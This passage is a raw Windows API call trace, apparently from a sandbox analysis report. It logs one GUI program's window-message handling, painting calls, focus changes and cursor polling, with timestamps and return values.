GetWindowLongA (hWnd=0x7024e, nIndex=-16) returned 1140850944 [0254.246] GetWindowLongA (hWnd=0x7024e, nIndex=-8) returned 458818 [0254.246] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fab0 | out: lpPoint=0x18fab0) returned 1 [0254.246] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fab8 | out: lpPoint=0x18fab8) returned 1 [0254.246] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x47, wParam=0x0, lParam=0x18fce4) returned 0x0 [0254.247] SetWindowPos (hWnd=0x7024e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0254.247] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x46, wParam=0x0, lParam=0x18fc94) returned 0x0 [0254.247] IsIconic (hWnd=0x7024e) returned 0 [0254.247] GetWindowRect (in: hWnd=0x7024e, lpRect=0x18fa60 | out: lpRect=0x18fa60) returned 1 [0254.247] GetWindowLongA (hWnd=0x7024e, nIndex=-16) returned 1409286400 [0254.247] GetWindowLongA (hWnd=0x7024e, nIndex=-8) returned 458818 [0254.247] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fa60 | out: lpPoint=0x18fa60) returned 1 [0254.247] ScreenToClient (in: hWnd=0x70042, lpPoint=0x18fa68 | out: lpPoint=0x18fa68) returned 1 [0254.247] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x47, wParam=0x0, lParam=0x18fc94) returned 0x0 [0254.247] SendMessageA (hWnd=0x70042, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0254.248] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0254.248] ShowWindow (hWnd=0x70042, nCmdShow=1) returned 0 [0254.248] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0254.248] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x0, lParam=0x70042) returned 0x1 [0254.251] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x0, lParam=0x70042) returned 0x0 [0254.251] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fc80) returned 0x0 [0254.251] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x86, wParam=0x0, lParam=0x2024a) returned 0x1 [0254.252] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.252] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.252] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.253] SetFocus (hWnd=0x90168) returned 0x0 [0254.253] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0254.253] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0254.253] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0254.253] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0254.254] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x1 [0254.254] SendMessageA (hWnd=0x90168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0254.254] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0254.254] GetClientRect (in: hWnd=0x90168, lpRect=0x18f718 | out: lpRect=0x18f718) returned 1 [0254.254] ClientToScreen (in: hWnd=0x90168, lpPoint=0x18f700 | out: lpPoint=0x18f700) returned 1 [0254.254] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18f700 | out: lpPoint=0x18f700) returned 1 [0254.254] ClientToScreen (in: hWnd=0x90168, lpPoint=0x18f700 | out: lpPoint=0x18f700) returned 1 [0254.254] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18f700 | out: lpPoint=0x18f700) returned 1 [0254.254] IsIconic (hWnd=0x70042) returned 0 [0254.254] GetClientRect (in: hWnd=0x70042, lpRect=0x18f700 | out: lpRect=0x18f700) returned 1 [0254.254] IsIconic (hWnd=0x70042) returned 0 [0254.254] GetClientRect (in: hWnd=0x70042, lpRect=0x18f700 | out: lpRect=0x18f700) returned 1 [0254.254] GetWindowLongA (hWnd=0xa0060, nIndex=-16) returned 1409351680 [0254.254] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1409351681 [0254.254] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x1 [0254.254] GetWindowThreadProcessId (in: hWnd=0x90168, lpdwProcessId=0x18f3c8 | out: lpdwProcessId=0x18f3c8) returned 0x8cc [0254.254] GetCurrentProcessId () returned 0x8d0 [0254.254] GetPropA (hWnd=0x90168, lpString=0xc167) returned 0x3909a4 [0254.254] GetFocus () returned 0x90168 [0254.254] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0254.255] SetFocus (hWnd=0x90168) returned 0x90168 [0254.255] GetFocus () returned 0x90168 [0254.255] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0254.255] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fc80) returned 0x0 [0254.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0254.262] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.263] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.266] IsIconic (hWnd=0x70042) returned 0 [0254.266] IsIconic (hWnd=0x70042) returned 0 [0254.266] GetClientRect (in: hWnd=0x70042, lpRect=0x18fa84 | out: lpRect=0x18fa84) returned 1 [0254.266] FillRect (hDC=0x2a010b57, lprc=0x18fa84, hbr=0xf100188) returned 1 [0254.266] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0254.266] GetClientRect (in: hWnd=0x7024e, lpRect=0x18faa8 | out: lpRect=0x18faa8) returned 1 [0254.266] FillRect (hDC=0x1b0106ca, lprc=0x18faa8, hbr=0xf100188) returned 1 [0254.266] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0254.266] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0254.267] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x14, wParam=0x1f01019b, lParam=0x0) returned 0x0 [0254.267] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0254.267] GetClientRect (in: hWnd=0x40050, lpRect=0x18fa9c | out: lpRect=0x18fa9c) returned 1 [0254.267] FillRect (hDC=0x2a010b57, lprc=0x18fa9c, hbr=0xf100188) returned 1 [0254.267] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0254.268] GetClientRect (in: hWnd=0xa0060, lpRect=0x18fa9c | out: lpRect=0x18fa9c) returned 1 [0254.268] FillRect (hDC=0x1b0106ca, lprc=0x18fa9c, hbr=0xf100188) returned 1 [0254.268] IsIconic (hWnd=0x70042) returned 0 [0254.268] GetWindowRect (in: hWnd=0x70042, lpRect=0x18fa34 | out: lpRect=0x18fa34) returned 1 [0254.268] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -1765277696 [0254.268] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x47, wParam=0x0, lParam=0x18fc80) returned 0x0 [0254.268] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.269] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.269] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.269] SetWindowPos (hWnd=0x70042, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0254.269] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fd9c) returned 0x0 [0254.269] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18fd9c) returned 0x0 [0254.271] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x47, wParam=0x0, lParam=0x18fd9c) returned 0x0 [0254.271] SendMessageA (hWnd=0x70042, Msg=0xb000, wParam=0x0, lParam=0x0) returned 0x0 [0254.271] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0254.276] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0xe023b [0254.278] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x501e5 [0254.278] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.278] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0xe023b [0254.278] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x501e5 [0254.278] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.278] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0xe023b [0254.278] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x501e5 [0254.279] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.279] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0xe023b [0254.279] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x501e5 [0254.279] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.279] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0254.279] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0254.279] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0254.279] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0254.279] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0254.279] IsIconic (hWnd=0x70042) returned 0 [0254.279] BeginPaint (in: hWnd=0x70042, lpPaint=0x18fac8 | out: lpPaint=0x18fac8) returned 0x2a010b57 [0254.279] SaveDC (hdc=0x2a010b57) returned 1 [0254.279] ExcludeClipRect (hdc=0x2a010b57, left=8, top=8, right=40, bottom=40) returned 3 [0254.280] MoveToEx (in: hdc=0x2a010b57, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0254.280] GetCurrentPositionEx (in: hdc=0x2a010b57, lppt=0x18fa88 | out: lppt=0x18fa88) returned 1 [0254.280] RestoreDC (hdc=0x2a010b57, nSavedDC=1) returned 1 [0254.280] RectVisible (hdc=0x2a010b57, lprect=0x18fa8c) returned 1 [0254.280] SaveDC (hdc=0x2a010b57) returned 1 [0254.280] GetWindowOrgEx (in: hdc=0x2a010b57, lppoint=0x18fa60 | out: lppoint=0x18fa60) returned 1 [0254.280] SetWindowOrgEx (in: hdc=0x2a010b57, x=-8, y=-8, lppt=0x0 | out: lppt=0x0) returned 1 [0254.283] IntersectClipRect (hdc=0x2a010b57, left=0, top=0, right=32, bottom=32) returned 3 [0254.283] MoveToEx (in: hdc=0x2a010b57, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0254.283] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0254.283] GetSysColor (nIndex=8) returned 0x0 [0254.283] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0254.283] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0254.284] GetSysColor (nIndex=8) returned 0x0 [0254.284] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0254.284] CreatePenIndirect (plpen=0x18f958) returned 0x3c3001b3 [0254.284] SelectObject (hdc=0x2a010b57, h=0x3c3001b3) returned 0x1b00017 [0254.284] SetROP2 (hdc=0x2a010b57, rop2=13) returned 13 [0254.284] CreateBrushIndirect (plbrush=0x18f958) returned 0x2a100187 [0254.284] UnrealizeObject (h=0x2a100187) returned 1 [0254.284] SelectObject (hdc=0x2a010b57, h=0x2a100187) returned 0x1900010 [0254.284] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0254.284] SetBkMode (hdc=0x2a010b57, mode=2) returned 2 [0254.284] SetStretchBltMode (hdc=0x2a010b57, mode=3) returned 1 [0254.284] CreateCompatibleDC (hdc=0x0) returned 0x7101017d [0254.284] SelectObject (hdc=0x7101017d, h=0xe050178) returned 0x185000f [0254.284] MoveToEx (in: hdc=0x7101017d, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0254.284] SelectObject (hdc=0x7101017d, h=0x640a01f1) returned 0x18a002e [0254.284] GetSysColor (nIndex=8) returned 0x0 [0254.284] SetTextColor (hdc=0x7101017d, color=0x0) returned 0x0 [0254.284] SelectObject (hdc=0x7101017d, h=0x3c3001b3) returned 0x1b00017 [0254.284] SetROP2 (hdc=0x7101017d, rop2=13) returned 13 [0254.284] UnrealizeObject (h=0xf100188) returned 1 [0254.284] SelectObject (hdc=0x7101017d, h=0xf100188) returned 0x1900010 [0254.284] GetSysColor (nIndex=15) returned 0xf0f0f0 [0254.284] SetBkColor (hdc=0x7101017d, color=0xf0f0f0) returned 0xffffff [0254.285] SetBkMode (hdc=0x7101017d, mode=2) returned 2 [0254.285] StretchBlt (hdcDest=0x2a010b57, xDest=0, yDest=0, wDest=32, hDest=32, hdcSrc=0x7101017d, xSrc=0, ySrc=0, wSrc=32, hSrc=32, rop=0xcc0020) returned 1 [0254.285] SelectObject (hdc=0x2a010b57, h=0x1b00017) returned 0x3c3001b3 [0254.285] SelectObject (hdc=0x2a010b57, h=0x1900015) returned 0x2a100187 [0254.285] SelectObject (hdc=0x2a010b57, h=0x18a002e) returned 0x640a01f1 [0254.285] GetCurrentPositionEx (in: hdc=0x2a010b57, lppt=0x18fa28 | out: lppt=0x18fa28) returned 1 [0254.285] RestoreDC (hdc=0x2a010b57, nSavedDC=1) returned 1 [0254.285] EndPaint (hWnd=0x70042, lpPaint=0x18fac8) returned 1 [0254.285] SelectObject (hdc=0x7101017d, h=0x185000f) returned 0xe050178 [0254.285] SelectObject (hdc=0x7101017d, h=0x1b00017) returned 0x3c3001b3 [0254.285] SelectObject (hdc=0x7101017d, h=0x1900015) returned 0xf100188 [0254.285] SelectObject (hdc=0x7101017d, h=0x18a002e) returned 0x640a01f1 [0254.285] GetCurrentPositionEx (in: hdc=0x7101017d, lppt=0x18fb94 | out: lppt=0x18fb94) returned 1 [0254.285] DeleteDC (hdc=0x7101017d) returned 1 [0254.285] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0254.285] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0254.285] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0254.285] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0254.285] SendMessageA (hWnd=0x7024e, Msg=0xbd38, wParam=0x1f01019b, lParam=0x7024e) returned 0xf100188 [0254.286] GetSysColor (nIndex=8) returned 0x0 [0254.286] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0254.286] GetSysColor (nIndex=15) returned 0xf0f0f0 [0254.286] SetBkColor (hdc=0x1f01019b, color=0xf0f0f0) returned 0xffffff [0254.287] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x33 [0254.287] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0xd, wParam=0x34, lParam=0x18e864) returned 0x33 [0254.287] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x33 [0254.287] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0xd, wParam=0x34, lParam=0x18e794) returned 0x33 [0254.288] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x7024e, Msg=0xd, wParam=0x68, lParam=0x18e768) returned 0x33 [0254.326] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0254.326] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0254.326] DispatchMessageA (lpMsg=0x18fdcc) returned 0x1 [0254.326] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0254.326] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0254.329] IsIconic (hWnd=0x70042) returned 0 [0254.329] IsIconic (hWnd=0x70042) returned 0 [0254.329] GetClientRect (in: hWnd=0x70042, lpRect=0x18f518 | out: lpRect=0x18f518) returned 1 [0254.329] FillRect (hDC=0x7701017d, lprc=0x18f518, hbr=0xf100188) returned 1 [0254.329] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x7701017d, lParam=0x4) returned 0x0 [0254.332] SendMessageA (hWnd=0x90168, Msg=0xbd33, wParam=0x7701017d, lParam=0x90168) returned 0xd100186 [0254.332] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0xbd33, wParam=0x7701017d, lParam=0x90168) returned 0xd100186 [0254.332] GetSysColor (nIndex=8) returned 0x0 [0254.332] SetTextColor (hdc=0x7701017d, color=0x0) returned 0x0 [0254.332] GetSysColor (nIndex=5) returned 0xffffff [0254.332] SetBkColor (hdc=0x7701017d, color=0xffffff) returned 0xffffff [0254.332] GetSysColor (nIndex=5) returned 0xffffff [0254.332] CreateBrushIndirect (plbrush=0x18f2e8) returned 0xd100186 [0254.333] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0254.333] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0254.333] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0254.333] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0254.334] IsIconic (hWnd=0x70042) returned 0 [0254.334] IsIconic (hWnd=0x70042) returned 0 [0254.334] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0254.334] FillRect (hDC=0x3a01069b, lprc=0x18f658, hbr=0xf100188) returned 1 [0254.334] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x3a01069b, lParam=0x4) returned 0x0 [0254.335] SendMessageA (hWnd=0x40050, Msg=0xbd35, wParam=0x3a01069b, lParam=0x40050) returned 0xf100188 [0254.335] GetSysColor (nIndex=8) returned 0x0 [0254.335] SetTextColor (hdc=0x3a01069b, color=0x0) returned 0x0 [0254.335] GetSysColor (nIndex=15) returned 0xf0f0f0 [0254.335] SetBkColor (hdc=0x3a01069b, color=0xf0f0f0) returned 0xffffff [0254.337] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0254.337] GetCurrentProcessId () returned 0x8d0 [0254.337] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0254.337] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0254.337] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0254.337] GetCurrentProcessId () returned 0x8d0 [0254.337] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0254.337] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0254.337] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2 [0254.338] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x3, lParam=0x18e63c) returned 0x2 [0254.338] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x6, lParam=0x18e614) returned 0x2 [0254.338] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0254.338] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0254.338] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0254.339] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0254.339] IsIconic (hWnd=0x70042) returned 0 [0254.339] IsIconic (hWnd=0x70042) returned 0 [0254.339] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0254.339] FillRect (hDC=0x3b01069b, lprc=0x18f658, hbr=0xf100188) returned 1 [0254.339] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x3b01069b, lParam=0x4) returned 0x0 [0254.339] SendMessageA (hWnd=0xa0060, Msg=0xbd35, wParam=0x3b01069b, lParam=0xa0060) returned 0xf100188 [0254.339] GetSysColor (nIndex=8) returned 0x0 [0254.339] SetTextColor (hdc=0x3b01069b, color=0x0) returned 0x0 [0254.339] GetSysColor (nIndex=15) returned 0xf0f0f0 [0254.339] SetBkColor (hdc=0x3b01069b, color=0xf0f0f0) returned 0xffffff [0254.339] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0254.339] GetCurrentProcessId () returned 0x8d0 [0254.340] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0254.340] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0254.340] GetWindowThreadProcessId (in: hWnd=0xa0060, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0254.340] GetCurrentProcessId () returned 0x8d0 [0254.340] GetPropA (hWnd=0xa0060, lpString=0xc167) returned 0x390470 [0254.340] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xbc4e, wParam=0xa0060, lParam=0x18f768) returned 0x0 [0254.340] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0254.340] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0x7, lParam=0x18e63c) returned 0x6 [0254.340] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xd, wParam=0xe, lParam=0x18e614) returned 0x6 [0254.341] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0254.341] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1390, y=781)) returned 1 [0254.341] WindowFromPoint (Point=0x56e) returned 0x10116 [0254.341] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0254.341] GetCurrentProcessId () returned 0x8d0 [0254.341] GetParent (hWnd=0x10116) returned 0x10114 [0254.341] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0254.341] GetCurrentProcessId () returned 0x8d0 [0254.341] GetParent (hWnd=0x10114) returned 0x20082 [0254.341] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0254.341] GetCurrentProcessId () returned 0x8d0 [0254.341] GetParent (hWnd=0x20082) returned 0x0 [0254.341] GetCapture () returned 0x0 [0254.341] WaitMessage () returned 1 [0255.269] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0255.269] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0255.269] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0255.269] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0255.269] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1259, y=650)) returned 1 [0255.269] WindowFromPoint (Point=0x4eb) returned 0x10116 [0255.269] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0255.269] GetCurrentProcessId () returned 0x8d0 [0255.269] GetParent (hWnd=0x10116) returned 0x10114 [0255.269] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0255.269] GetCurrentProcessId () returned 0x8d0 [0255.269] GetParent (hWnd=0x10114) returned 0x20082 [0255.269] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0255.269] GetCurrentProcessId () returned 0x8d0 [0255.269] GetParent (hWnd=0x20082) returned 0x0 [0255.270] GetCapture () returned 0x0 [0255.270] WaitMessage () returned 1 [0257.193] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.195] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1dd0365) returned 0x12 [0257.197] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x70042, lParam=0x2000012) returned 0x0 [0257.198] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.198] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.198] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0xa0, wParam=0x12, lParam=0x1dd0365) returned 0x0 [0257.198] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.199] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=869, y=477)) returned 1 [0257.199] WindowFromPoint (Point=0x365) returned 